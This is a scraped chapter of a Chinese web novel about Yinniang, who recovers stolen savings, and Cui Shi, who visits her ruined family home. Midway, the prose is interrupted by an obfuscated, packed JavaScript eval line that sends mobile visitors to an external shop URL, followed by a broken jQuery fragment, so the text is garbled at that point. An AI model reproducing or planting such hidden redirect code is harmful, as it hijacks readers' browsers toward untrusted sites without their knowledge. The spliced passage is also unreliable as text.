素莲听到动静赶来,见音娘把人骨节都削了,掰开她发狠的手,夺走匕首,温声安慰,“别怕,我在我在。”
音娘这才拢回神识,窝进莲姐姐怀里抽断气地哭,“他把我辛辛苦苦攒的钱钱才都偷走了……”
“那你也不能把人皮削了。”老鳏夫痛得在地上打滚,张口闭口就是要把音娘杀了,素莲赶紧用抹布将他口封紧,绑在墙桩上。
音娘望着一地血流,颤巍巍问,“这可如何是好?”
“一不做二不休,干脆把他舌头也割了,这样就不会胡言乱语说是咱做的。”莲姐姐开玩笑说。
“不行不行,我不敢。”音娘扔掉匕首,无法抹去方才害人的可怖,要是莲姐姐没及时来,她恐怕要把人都砍了。
老鳏夫原是恶狠狠地盯死她们,见陈素莲说要把舌头割了,立即泪眼汪汪求饶。
“姑奶奶绕了我吧,我以后再也不敢了。”
“那你把我的钱都交出来!”她在莲姐姐的帮助下,气势大了许多,捡起匕首就是恐吓。
“在,在我那床褥下面,都,都在那里。”
“这才对嘛,我和你也算旧识了,每日欺负我们音娘,你到底害不害臊?”素莲双指弹了弹他耷拉的脸皮,“老不死的!”
音娘把钱都找了回来,老鳏夫存的棺材钱她没拿,只补上自己的十几两银子。
担心说,“万一他找人害我们如何是好?”
“我看他敢?我陈素莲拼了命也不会再让老鳏夫伤害你。”
老鳏夫点头如捣蒜,“我发誓一个字不说。”
音娘思来想去,别无他法,只好将老鳏夫解开,心中隐隐不安。
叮嘱莲姐姐,“你要小心。”
几日过去。
老鳏夫消停没再弄出什么动静,只是偶尔和村中的猪朋狗友来家里吃酒,其余相安无事。
她会常常想起崔公子,更是在午夜梦回忆起那张被她恶意弄脏的脸。
想到他憨乎模样便笑得睡不着。
音娘决定明日便去找他,不想二人因为一些小事便生了隔阂。
崔实让毕楚从何有柳那里要来音娘的户籍,得知她老家曾是大邕边境,终年战乱,直到前几年他率军平定叛党,才开始休养生息。
篱康,倒是许久未去,也不知道如今百姓过得怎么样,也该去看看了。
他不在时让毕楚守着,若音娘回来找他,务必第一时间告知。
音娘离去次日,他便到了篱康,望着感慨颇多,自己的仕途从此处冉冉升起,也是从此处石滚山崖。
重隆爷忌讳崔氏,怕重蹈当年覆辙,屡屡架空派他处,调离朝政。
又因崔实勇冠三军,乃朝中年青将军,将他扼杀在摇篮,杜绝拥兵自重,功高盖主。
而皆因先皇后庄氏旁支权势过大,把控朝政,危及皇权。
大邕宗亲大臣互为眼中钉,内斗三年,最后伤及国家根本才平息下来。
而祖母连带族亲有意复清当年盛位,也早已被重隆爷知晓,加诸其他,崔氏要想坐稳朝政肱骨之位,怕是不容易。
而篱康县早已不似过去十几年战乱穷困。
崔实如愿底找到音娘的老家,一家破落草房,里外早已空荡荡,依旧能看出当年百姓流离失所的可怖情形。
一位耄耋老奶奶从草堆后慢悠悠走来,问,“你是什么人啊?认识音娘那女娃不?”
崔实上前扶,“我认识她,老奶奶您是?”
“我是她邻居,这孩子脾气倔,一走就是这么多年,连她爹娘死也没回来。”老奶奶引崔实看歪歪扭扭杵在沙土上的破木块,无字碑。
“老太我也不会写字,她爹娘在战乱死掉咯,尸体都找不到,我寻了两块木板立在门口,知道她们最挂念音娘,也是为了有朝一日回来,能磕个头……”
“对了,音娘那孩子过得怎么样?她弟弟也走了几年,现在也不知是生是死……”老太动容落泪,对这家人悲惨命运感慨颇深。
崔实不解其中,音娘对她的爹娘仇恨,又因何在老奶奶看来,音娘才是那个不肖子。
“老奶奶可否与我讲清当年发生了什么?”
“是这样的……”
原来当年她父母是给音娘择了锦州普通人家,并非长康村那深山老林之地。
那长康村,谁是她的夫婿,按毕楚所讲,皆是老弱病残,根本无人配得上音娘。
他更是捉急想问清楚。
老奶奶继续说来,“她爹娘去了几次要她的那户人家,说她逃了,根本连人影都没着。她阿娘还为此生了几年重病。”
“对了公子,你是音娘的夫婿?看你一表人才,穿着华贵,若是她爹娘在天之灵能看到,也算是安心了。”
有人将他的真心话说出,心里到底是高兴的,但这事儿并非他一人胡想便可,况且音娘已嫁作他人。
“我们暂且是友人,今日协礼来,便是替音娘了却一桩心愿。”
音娘在外孤身一人,无亲人依傍,他的身份特殊且不好直接出手,便想此法,可能的话,想让她们团聚。
二来,也是想打听音娘夫婿到底是何人,他未言明,五千两黄金已在来的路上。
老奶奶失望一笑,抓着崔实的手问,“那她现在夫婿是什么人,家在何处,对她可尽心尽意?”
“协礼……会对她好的。”
老奶奶耳背,听成那人对她好,“那我就放心了。”
“对了,这是她娘生前留下的木栉,交代我若是音娘回来了,定要交给她。你替我送去吧。”
发黄断了一齿的木栉,爬山斑驳的岁月痕迹,处处透露着当年战乱的风霜。
崔实些许动容,双手接过,“我会将它好好交到音娘手中。”
崔实走之前,将草房的灰尘打扫,里外拾掇一遍,喊人定制一副新的墓碑,带来些祭祀物品,庄重地跪了下去。
“崔实算不得一个正人君子,却是真的一心待音娘,今日唐突前来,便是想得一个机会。”
“我知她的处境艰难,经常落伤,劳作天昏才归,夫婿也并非当年二老首肯之人,若二老在天也不愿见音娘受欺负,便容许我将她带走。”
吹过一阵凉风,崔实起身,笑意未明,“那崔实便当作二老答应了。”
白鸽落在崔实肩上,毕楚来信:速归。
音娘心中有歉,特地给崔公子裁了一身衣裳,想得他原谅。
崔实从篱康县八百里加急回来,见音娘前特地在山里跑了几十里,后冷水浇身,现如今寒气入骨,虚弱无力。
毕楚看了都摇头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621522|205364||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
龃龉了一句痴情汉,“那娘子早已有夫婿,大人这简直有辱家风……”
崔实不听,只管着闻风中味道,“你要是闲的,就想办法找出那个男人到底是谁。”
毕楚也无解,他算是翻遍了长康村,也不知道那位神秘人。
“不如,大人你直接问音娘吧,真诚总是比诡计多端好……”他收拾整洁洞中,还将大人的衣物都清洗了一遍。
“我看你是不服管教了。”
“要是老太太知晓,那大人该如何是好。”
崔实并非没有想过这个问题,祖母看重门当户对,不是容易说服,不过想这些还为时尚早,会有办法的。
熟悉的香味越来越近。
“她来了,小心点别被发现了,对了,你去篱康找找有没有一个叫岑念棠的男孩。”
毕楚应是,“大人料事如神?这都能知道?”周遭并未有人,他鬼鬼祟祟地收拾好东西,怎么感觉不太光明正大……
而大人还在整理衣物,像只花孔雀一般。
“那大人有事吩咐属下,老太太那边,我尽量隐瞒。”
音娘一路忐忑,她不知要怎么解释自己离开这么多日,又担心崔公子是不是早已走了。
山雾笼罩,连路都难以看清,脚下长了新的杂草,不好走,他眼疾未好,容易磕伤,便一路除去旁边杂草。
越是这般念着他,心里越是不好受,她不过不愿接受他已走的事实,山路一看便知许久未有人踩踏……
“音娘。”
崔实等了许久,异香萦绕却久久不见人来,担心她遇到什么,便着急下山寻找。
音娘还以为幻听,看到人清楚地站在她面前时,才知道她是多么思念。
二人压制的冲动表现得与过往一样,只是互不敢对视,眼角皆猩红。
见音娘赤手出去野草,他心里不是滋味,“山路荆棘丛生,音娘也许久未上来了,莫要被刺伤。”
伸手领她上来。
音娘杂绪万千,一如矜贵的白面书生,轻而易举地打破她心底防线,无论她多么想将此人弄脏,折辱,终还是在她之上。
他根本没将她放心上,也从来没想过下山寻她。
看来她还需用别的法子……
避开他的帮扶,音娘怄气自己爬了上去。
“你眼疾好了?怎么还不离开。”
“未完全康复,偶尔能模糊辨别,尚看不清。”
音娘听此放心了不少,“那崔公子亦是需要我的帮助。”
他虚咳,还呕出血,“协礼无能,一人难以照料,劳烦音娘费心。”
看他比以前更虚弱,除了担心,还有种莫名的兴奋。
“你都这样了,也不问问我几日为何不来。”音娘拽他宽袖上山。
“协礼知惹了音娘生气,不敢问。”
“你知道便好,往后我说一你便不能提二,要时刻与我一致。”
崔实颔首,心里偷笑,只要音娘不生气就好。
“我看你都消瘦了。”
音娘将甜点,肉包,果子一一摊开,还有肥美鸡腿,“快吃吧。”
“对了,给你做了新衣裳,这么多天冷落你了是我不对,这便送当礼物。”
崔实展开,样式颜色与音娘身上穿的相似……